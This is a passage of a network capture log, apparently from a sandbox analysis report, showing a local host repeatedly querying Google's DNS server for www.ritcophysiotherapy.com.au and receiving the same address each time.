Feb 22, 2021 19:14:35.638341904 CET	49839	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:35.686975956 CET	53	49839	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:36.937913895 CET	57975	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:36.989465952 CET	53	57975	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:38.226160049 CET	57610	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:38.275090933 CET	53	57610	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:39.548564911 CET	55137	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:39.597359896 CET	53	55137	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:40.861488104 CET	59216	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:40.910367966 CET	53	59216	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:42.153589010 CET	63495	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:42.204519987 CET	53	63495	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:43.443846941 CET	64371	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:43.493170977 CET	53	64371	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:44.731411934 CET	54037	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:44.783324003 CET	53	54037	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:46.037934065 CET	53481	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:46.086884975 CET	53	53481	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:47.326683998 CET	58313	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:47.375808954 CET	53	58313	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:48.652367115 CET	58950	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:48.703289032 CET	53	58950	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:49.946625948 CET	55011	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:49.995392084 CET	53	55011	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:51.218924046 CET	57198	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:51.267704964 CET	53	57198	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:52.516993046 CET	60875	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:52.566010952 CET	53	60875	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:53.796204090 CET	55134	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:53.844918966 CET	53	55134	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:55.085910082 CET	53695	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:55.140264988 CET	53	53695	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:56.344922066 CET	50975	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:56.395956993 CET	53	50975	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 22, 2021 19:13:01.605370045 CET	192.168.2.4	8.8.8.8	0xf2b4	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:03.013977051 CET	192.168.2.4	8.8.8.8	0xc3d2	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:04.268918991 CET	192.168.2.4	8.8.8.8	0xf658	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:05.635144949 CET	192.168.2.4	8.8.8.8	0xf93e	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:07.006390095 CET	192.168.2.4	8.8.8.8	0xa7f6	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:08.984812021 CET	192.168.2.4	8.8.8.8	0x3a63	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:10.312819958 CET	192.168.2.4	8.8.8.8	0xddf9	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:11.686445951 CET	192.168.2.4	8.8.8.8	0x96c5	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:13.049364090 CET	192.168.2.4	8.8.8.8	0x7723	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:14.353496075 CET	192.168.2.4	8.8.8.8	0xfb83	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:15.696485043 CET	192.168.2.4	8.8.8.8	0x4299	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:17.004920006 CET	192.168.2.4	8.8.8.8	0xdb49	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:18.343101025 CET	192.168.2.4	8.8.8.8	0x177c	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:19.644253969 CET	192.168.2.4	8.8.8.8	0xbe65	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:20.936100960 CET	192.168.2.4	8.8.8.8	0x7c9d	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:22.276679039 CET	192.168.2.4	8.8.8.8	0x8e2a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:23.601208925 CET	192.168.2.4	8.8.8.8	0x4b1c	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:24.954325914 CET	192.168.2.4	8.8.8.8	0x9f7	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:26.557146072 CET	192.168.2.4	8.8.8.8	0x8dca	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:27.872664928 CET	192.168.2.4	8.8.8.8	0xe56c	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:29.179162979 CET	192.168.2.4	8.8.8.8	0xd2ae	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:30.478329897 CET	192.168.2.4	8.8.8.8	0x5c1d	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:31.792977095 CET	192.168.2.4	8.8.8.8	0x73e3	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:33.080705881 CET	192.168.2.4	8.8.8.8	0xa1ca	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:34.416704893 CET	192.168.2.4	8.8.8.8	0xc977	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:35.697698116 CET	192.168.2.4	8.8.8.8	0x43e1	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:36.975975990 CET	192.168.2.4	8.8.8.8	0x5256	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:38.294977903 CET	192.168.2.4	8.8.8.8	0xba7c	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:39.589708090 CET	192.168.2.4	8.8.8.8	0x6371	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:40.908086061 CET	192.168.2.4	8.8.8.8	0x8eb6	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:42.180453062 CET	192.168.2.4	8.8.8.8	0x3351	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:43.470884085 CET	192.168.2.4	8.8.8.8	0x40f2	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:44.744219065 CET	192.168.2.4	8.8.8.8	0xb103	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:46.029913902 CET	192.168.2.4	8.8.8.8	0x15f5	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:47.358259916 CET	192.168.2.4	8.8.8.8	0xe9f4	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:48.636250973 CET	192.168.2.4	8.8.8.8	0x8755	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:49.926906109 CET	192.168.2.4	8.8.8.8	0xa2e	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:51.217977047 CET	192.168.2.4	8.8.8.8	0xb66a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:52.534214973 CET	192.168.2.4	8.8.8.8	0xaab4	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:53.826677084 CET	192.168.2.4	8.8.8.8	0x94a5	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:55.097614050 CET	192.168.2.4	8.8.8.8	0xfe8e	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:56.374689102 CET	192.168.2.4	8.8.8.8	0xf40b	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:57.636794090 CET	192.168.2.4	8.8.8.8	0xb50b	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:58.918042898 CET	192.168.2.4	8.8.8.8	0x189e	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:00.227699995 CET	192.168.2.4	8.8.8.8	0xd116	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:01.510381937 CET	192.168.2.4	8.8.8.8	0x15cc	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:02.839185953 CET	192.168.2.4	8.8.8.8	0xa955	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:04.114171028 CET	192.168.2.4	8.8.8.8	0xaded	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:05.420623064 CET	192.168.2.4	8.8.8.8	0x92db	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:06.720895052 CET	192.168.2.4	8.8.8.8	0xa19a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:08.022066116 CET	192.168.2.4	8.8.8.8	0x9f0d	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:09.293391943 CET	192.168.2.4	8.8.8.8	0xeef4	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:10.585911036 CET	192.168.2.4	8.8.8.8	0xc87f	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:11.897115946 CET	192.168.2.4	8.8.8.8	0xa87e	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:13.196566105 CET	192.168.2.4	8.8.8.8	0x7172	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:15.029618979 CET	192.168.2.4	8.8.8.8	0xd6e2	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:16.292236090 CET	192.168.2.4	8.8.8.8	0x709a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:17.598541975 CET	192.168.2.4	8.8.8.8	0x8a0	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:18.904568911 CET	192.168.2.4	8.8.8.8	0x7e31	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:20.202388048 CET	192.168.2.4	8.8.8.8	0x9814	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:21.463465929 CET	192.168.2.4	8.8.8.8	0x9e5b	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:22.777031898 CET	192.168.2.4	8.8.8.8	0xc629	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:24.085288048 CET	192.168.2.4	8.8.8.8	0x18ab	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:25.337888002 CET	192.168.2.4	8.8.8.8	0x973d	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:26.620599985 CET	192.168.2.4	8.8.8.8	0xe366	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:27.894123077 CET	192.168.2.4	8.8.8.8	0xdaf0	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:29.153413057 CET	192.168.2.4	8.8.8.8	0x969f	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:30.406487942 CET	192.168.2.4	8.8.8.8	0x78c7	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:31.727921963 CET	192.168.2.4	8.8.8.8	0xea94	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:33.020991087 CET	192.168.2.4	8.8.8.8	0xe4e5	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:34.320353031 CET	192.168.2.4	8.8.8.8	0xe926	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:35.638341904 CET	192.168.2.4	8.8.8.8	0x677a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:36.937913895 CET	192.168.2.4	8.8.8.8	0xd1e2	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:38.226160049 CET	192.168.2.4	8.8.8.8	0x266a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:39.548564911 CET	192.168.2.4	8.8.8.8	0x4299	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:40.861488104 CET	192.168.2.4	8.8.8.8	0x8033	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:42.153589010 CET	192.168.2.4	8.8.8.8	0xa184	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:43.443846941 CET	192.168.2.4	8.8.8.8	0xa0af	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:44.731411934 CET	192.168.2.4	8.8.8.8	0x532b	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:46.037934065 CET	192.168.2.4	8.8.8.8	0x6761	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:47.326683998 CET	192.168.2.4	8.8.8.8	0xea29	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:48.652367115 CET	192.168.2.4	8.8.8.8	0x6a3a	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:49.946625948 CET	192.168.2.4	8.8.8.8	0x3ab8	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:51.218924046 CET	192.168.2.4	8.8.8.8	0x65f4	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:52.516993046 CET	192.168.2.4	8.8.8.8	0xb1f8	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:53.796204090 CET	192.168.2.4	8.8.8.8	0xcbd8	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:55.085910082 CET	192.168.2.4	8.8.8.8	0x1512	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:56.344922066 CET	192.168.2.4	8.8.8.8	0xf929	Standard query (0)	www.ritcophysiotherapy.com.au	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 22, 2021 19:13:01.708600998 CET	8.8.8.8	192.168.2.4	0xf2b4	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:03.113802910 CET	8.8.8.8	192.168.2.4	0xc3d2	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:04.329303026 CET	8.8.8.8	192.168.2.4	0xf658	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:05.698806047 CET	8.8.8.8	192.168.2.4	0xf93e	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:07.065711021 CET	8.8.8.8	192.168.2.4	0xa7f6	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:09.033745050 CET	8.8.8.8	192.168.2.4	0x3a63	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:10.409897089 CET	8.8.8.8	192.168.2.4	0xddf9	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:11.784482002 CET	8.8.8.8	192.168.2.4	0x96c5	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:13.098505974 CET	8.8.8.8	192.168.2.4	0x7723	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:14.410690069 CET	8.8.8.8	192.168.2.4	0xfb83	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:15.753534079 CET	8.8.8.8	192.168.2.4	0x4299	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:17.062061071 CET	8.8.8.8	192.168.2.4	0xdb49	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:18.400012016 CET	8.8.8.8	192.168.2.4	0x177c	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:19.701555014 CET	8.8.8.8	192.168.2.4	0xbe65	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:20.985097885 CET	8.8.8.8	192.168.2.4	0x7c9d	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:22.325532913 CET	8.8.8.8	192.168.2.4	0x8e2a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:23.659809113 CET	8.8.8.8	192.168.2.4	0x4b1c	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:25.014542103 CET	8.8.8.8	192.168.2.4	0x9f7	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:26.614264011 CET	8.8.8.8	192.168.2.4	0x8dca	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:27.933027983 CET	8.8.8.8	192.168.2.4	0xe56c	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:29.239970922 CET	8.8.8.8	192.168.2.4	0xd2ae	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:30.543951035 CET	8.8.8.8	192.168.2.4	0x5c1d	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:31.841751099 CET	8.8.8.8	192.168.2.4	0x73e3	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:33.143090010 CET	8.8.8.8	192.168.2.4	0xa1ca	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:34.473993063 CET	8.8.8.8	192.168.2.4	0xc977	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:35.749298096 CET	8.8.8.8	192.168.2.4	0x43e1	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:37.036025047 CET	8.8.8.8	192.168.2.4	0x5256	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:38.343662024 CET	8.8.8.8	192.168.2.4	0xba7c	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:39.638431072 CET	8.8.8.8	192.168.2.4	0x6371	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:40.957115889 CET	8.8.8.8	192.168.2.4	0x8eb6	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:42.242538929 CET	8.8.8.8	192.168.2.4	0x3351	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:43.532692909 CET	8.8.8.8	192.168.2.4	0x40f2	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:44.793344975 CET	8.8.8.8	192.168.2.4	0xb103	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:46.095216990 CET	8.8.8.8	192.168.2.4	0x15f5	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:47.418471098 CET	8.8.8.8	192.168.2.4	0xe9f4	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:48.698528051 CET	8.8.8.8	192.168.2.4	0x8755	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:49.976164103 CET	8.8.8.8	192.168.2.4	0xa2e	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:51.275183916 CET	8.8.8.8	192.168.2.4	0xb66a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:52.587490082 CET	8.8.8.8	192.168.2.4	0xaab4	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:53.875464916 CET	8.8.8.8	192.168.2.4	0x94a5	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:55.155000925 CET	8.8.8.8	192.168.2.4	0xfe8e	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:56.423229933 CET	8.8.8.8	192.168.2.4	0xf40b	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:57.693878889 CET	8.8.8.8	192.168.2.4	0xb50b	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:13:58.975639105 CET	8.8.8.8	192.168.2.4	0x189e	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:00.289978027 CET	8.8.8.8	192.168.2.4	0xd116	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:01.575758934 CET	8.8.8.8	192.168.2.4	0x15cc	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:02.888058901 CET	8.8.8.8	192.168.2.4	0xa955	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:04.163002968 CET	8.8.8.8	192.168.2.4	0xaded	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:05.469511986 CET	8.8.8.8	192.168.2.4	0x92db	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:06.769843102 CET	8.8.8.8	192.168.2.4	0xa19a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:08.070943117 CET	8.8.8.8	192.168.2.4	0x9f0d	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:09.352627993 CET	8.8.8.8	192.168.2.4	0xeef4	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:10.638309002 CET	8.8.8.8	192.168.2.4	0xc87f	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:11.957366943 CET	8.8.8.8	192.168.2.4	0xa87e	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:13.248152971 CET	8.8.8.8	192.168.2.4	0x7172	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:15.078545094 CET	8.8.8.8	192.168.2.4	0xd6e2	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:16.344048023 CET	8.8.8.8	192.168.2.4	0x709a	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:17.658497095 CET	8.8.8.8	192.168.2.4	0x8a0	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:18.961647034 CET	8.8.8.8	192.168.2.4	0x7e31	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:20.252974033 CET	8.8.8.8	192.168.2.4	0x9814	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:21.528162003 CET	8.8.8.8	192.168.2.4	0x9e5b	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:22.828773975 CET	8.8.8.8	192.168.2.4	0xc629	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
Feb 22, 2021 19:14:24.138386965 CET	8.8.8.8	192.168.2.4	0x18ab	No error (0)	www.ritcophysiotherapy.com.au	203.170.84.89	A (IP address)	IN (0x0001)
